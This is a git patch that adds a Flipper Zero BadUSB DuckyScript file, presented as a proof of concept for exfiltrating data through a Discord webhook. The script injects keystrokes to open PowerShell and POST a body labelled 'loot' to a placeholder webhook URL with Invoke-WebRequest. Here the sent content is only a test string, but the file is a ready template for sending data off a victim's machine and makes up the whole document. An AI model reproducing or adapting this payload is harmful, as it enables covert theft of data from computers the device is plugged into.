From 42bfc64ae535682366a96568ce7a48466a0b85e1 Mon Sep 17 00:00:00 2001 From: UberGuidoZ <57457139+UberGuidoZ@users.noreply.github.com> Date: Thu, 20 Oct 2022 21:37:56 -0700 Subject: [PATCH] Added Discord Webhook Exfil (Vojnomir Malenkov) --- BadUSB/PoC_Discord_Webhook.txt | 26 ++++++++++++++++++++++++++ 1 file changed, 26 insertions(+) create mode 100644 BadUSB/PoC_Discord_Webhook.txt diff --git a/BadUSB/PoC_Discord_Webhook.txt b/BadUSB/PoC_Discord_Webhook.txt new file mode 100644 index 00000000..1dbd1704 --- /dev/null +++ b/BadUSB/PoC_Discord_Webhook.txt @@ -0,0 +1,26 @@ +REM Description: PoC fileless Flipper BadUSB exfil to discord webhook +REM Author: Vojnomir Malenkov +REM Based on https://github.com/atomiczsec/My-Payloads/blob/main/RubberDucky/payloads/Copy-And-Waste/c.ps1 +GUI r +DELAY 500 +STRING powershell +ENTER +DELAY 500 +STRING [String]$contentbody = "this is a test of exfil data via webhook" +ENTER +DELAY 400 +STRING $Body = @{ +ENTER +DELAY 300 +STRING 'username'= 'loot' +ENTER +DELAY 200 +STRING 'content' = $contentbody } +ENTER +DELAY 500 +STRING iwr -Uri DISCORD-WEBHOOK-HERE -Method POST -Body $Body +DELAY 500 +ENTER +STRING exit +DELAY 200 +ENTER